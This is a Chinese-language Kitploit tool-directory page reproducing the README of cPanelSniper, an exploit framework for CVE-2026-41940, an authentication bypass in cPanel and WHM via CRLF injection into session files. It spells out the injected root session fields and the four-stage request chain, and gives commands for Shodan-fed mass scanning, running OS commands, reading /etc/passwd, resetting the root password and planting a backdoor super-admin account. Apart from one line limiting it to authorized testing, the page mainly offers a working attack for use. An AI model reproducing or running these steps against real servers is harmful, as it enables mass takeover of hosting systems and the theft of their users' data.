Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cPanelSniper — CVE-2026-41940 — 通过会话文件 CRLF 注入绕过 cPanel 与 WHM 身份验证 | Kitploit
工具/GitHubGitHub/ynsmroztas/cpanelsniper
身份验证与授权漏洞扫描器漏洞利用Web应用程序漏洞利用后渗透利用渗透测试命令与控制红队Payload 开发
GitHubynsmroztas/cpanelsniper

cPanelSniper

CVE-2026-41940 — 通过会话文件 CRLF 注入绕过 cPanel 与 WHM 身份验证

506139295个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

cPanelSniper

cPanelSniper

Python CVE cPanel stdlib pipeline Author

CVE-2026-41940 — 通过会话文件 CRLF 注入绕过 cPanel 与 WHM 身份验证
4 阶段利用链 · 交互式 WHM Shell · 批量扫描器 · 支持管道 · 仅依赖标准库


概述

cPanelSniper 是一个针对 CVE-2026-41940 的专项利用框架,该漏洞是影响 cPanel 与 WHM 的严重身份验证绕过漏洞。攻击者无需任何有效凭据,即可通过向 Authorization HTTP 头注入 CRLF 序列到会话文件中,从而获得 root 级别的 WHM 访问权限。

  • CVSS 评分: 10.0(严重)
  • 野外利用情况: 已确认(2026 年 4 月)
  • 受影响安装量: 约 7000 万个运行 cPanel 与 WHM 的域名
  • 零依赖: 纯 Python 标准库 — 无需 pip、无需 requests、无需外部包

仅限授权渗透测试和漏洞赏金计划使用。


工作原理

漏洞根源位于 Session.pm 中:saveSession() 函数在将会话文件写入磁盘之后才调用 filter_sessiondata()。这意味着嵌入在 Authorization: Basic 头值中的 CRLF 字符会被原样写入会话文件,在净化处理之前注入攻击者控制的字段。

正常流程:
  POST /login/ → filter_sessiondata() → 写入会话 → 身份验证检查

漏洞流程:
  POST /login/ → 写入会话(注入 CRLF 载荷)→ filter_sessiondata() → 身份验证检查读取被污染的文件

CRLF 载荷

Authorization: Basic 值解码后为:

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

这些字段被直接写入磁盘上的会话文件。当被读回时,cPanel 将会话视为完全通过身份验证的 root 会话。

4 阶段利用链

┌─────────────────────────────────────────────────────────────┐
│  阶段 0 — 发现规范主机名                                     │
│  GET /openid_connect/cpanelid → 307 → 真实主机名             │
├─────────────────────────────────────────────────────────────┤
│  阶段 1 — 铸造预认证会话                                     │
│  POST /login/?login_only=1  (错误凭据)                     │
│  ← 401 + whostmgrsession cookie                             │
├─────────────────────────────────────────────────────────────┤
│  阶段 2 — CRLF 注入                                          │
│  GET / + Cookie: session + Authorization: Basic <载荷>       │
│  cpsrvd 将 CRLF 字段写入会话文件                             │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  阶段 3 — 传播(do_token_denied 小工具)                     │
│  GET /scripts2/listaccts                                    │
│  触发 raw→cache 刷新 — 注入字段变为生效状态                  │
│  ← 401 Token denied(预期行为)                              │
├─────────────────────────────────────────────────────────────┤
│  阶段 4 — 验证 WHM Root 访问权限                             │
│  GET /cpsessXXXXXXXXXX/json-api/version                     │
│  ← 200 {"version":"11.x.x.x","result":1}  = 已被攻破         │
└─────────────────────────────────────────────────────────────┘

受影响版本

分支受影响版本已修复版本
110.x≤ 11.110.0.9611.110.0.97
118.x≤ 11.118.0.6211.118.0.63
126.x≤ 11.126.0.5311.126.0.54
132.x≤ 11.132.0.2811.132.0.29
134.x≤ 11.134.0.1911.134.0.20
136.x≤ 11.136.0.411.136.0.5

安装

git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help

无需 pip 安装。仅需纯 Python 3.8+ 标准库。


使用方法

基本扫描

# 单目标 — 仅扫描
python3 cPanelSniper.py -u https://target.com:2087

# 单目标 — 绕过后进入交互式 Shell
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# 从文件批量扫描
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json

# 强制扫描(跳过 cPanel 检测)
python3 cPanelSniper.py -u https://target.com:2087 --force

利用后操作

# 列出服务器上所有 cPanel 账户
python3 cPanelSniper.py -u https://target.com:2087 --action list

# 执行操作系统命令
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# 获取服务器信息(主机名、负载、磁盘、MySQL 主机)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# 获取 cPanel 版本
python3 cPanelSniper.py -u https://target.com:2087 --action version

# 修改 root 密码
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# 交互式 WHM Shell
python3 cPanelSniper.py -u https://target.com:2087 --action shell

管道使用

# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 | \
  python3 cPanelSniper.py -t 30 -o results.json

# 从范围列表
cat scope.txt | \
  httpx -silent -ports 2087,2086 -threads 100 | \
  python3 cPanelSniper.py -t 30 -o results.json

# Shodan 结果
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | \
  python3 cPanelSniper.py -t 30 -o shodan_results.json

# stdin 管道
echo "https://target.com:2087" | python3 cPanelSniper.py

# 多来源组合
{ subfinder -d target.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 | \
  python3 cPanelSniper.py -t 20 --action list

交互式 WHM Shell

成功绕过后,--action shell 参数会进入交互式提示符:

════════════════════════════════════════════════════════════
  WHM Shell — target.com
  版本: CVE-2026-41940 | 认证: CRLF 绕过
  输入 'help' 查看命令,'exit' 退出
════════════════════════════════════════════════════════════

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  [cPanel 账户]  target.com:2087 (47 个用户)
    user01               域名: example.com    邮箱: [email protected]
    user02               域名: shop.com       邮箱: [email protected]
    ...

[email protected] ▶ cat /etc/passwd
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...

[email protected] ▶ info
  [服务器信息]  https://target.com:2087
  主机名: srv01.target.com
  负载: 0.72 / 0.66 / 0.69
  版本: 11.130.0.6

[email protected] ▶ addadmin mitsec P@ss2026!
  [后门管理员已创建]
  目标    : https://target.com:2087
  用户名  : mitsec
  密码    : P@ss2026!
  配置    : super_admin

[email protected] ▶ exit

Shell 命令

命令描述
id / whoami显示 UID 和主机名
hostname获取服务器主机名
versioncPanel 版本信息
info负载、磁盘、MySQL 主机、版本
accounts列出所有 cPanel 用户账户
cat <path>读取文件内容
ls [path]列出目录
exec <cmd>执行操作系统命令
addadmin <user> <pass>创建后门 WHM 管理员
passwd <pass>修改 root 密码
api <endpoint> [k=v ...]原始 WHM JSON API 调用
help显示所有命令
exit退出 Shell

CLI 参考

usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                       [-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
                       [--action ACTION] [--passwd PASS] [--cmd CMD]
                       [--new-user USER] [--new-domain DOMAIN]
                       [-o OUTPUT] [--no-color]

目标:
  -u, --url URL          单个目标 URL(例如 https://host:2087)
  -l, --list LIST        包含 URL 的文件(每行一个)
  --hostname HOSTNAME    覆盖规范 Host 头(自动发现)

扫描:
  -t, --threads N        并发线程数(默认: 10)
  --timeout N            请求超时秒数(默认: 15)
  --rate-limit N         目标间延迟(默认: 0)
  --force                跳过 cPanel 检测检查
下载工具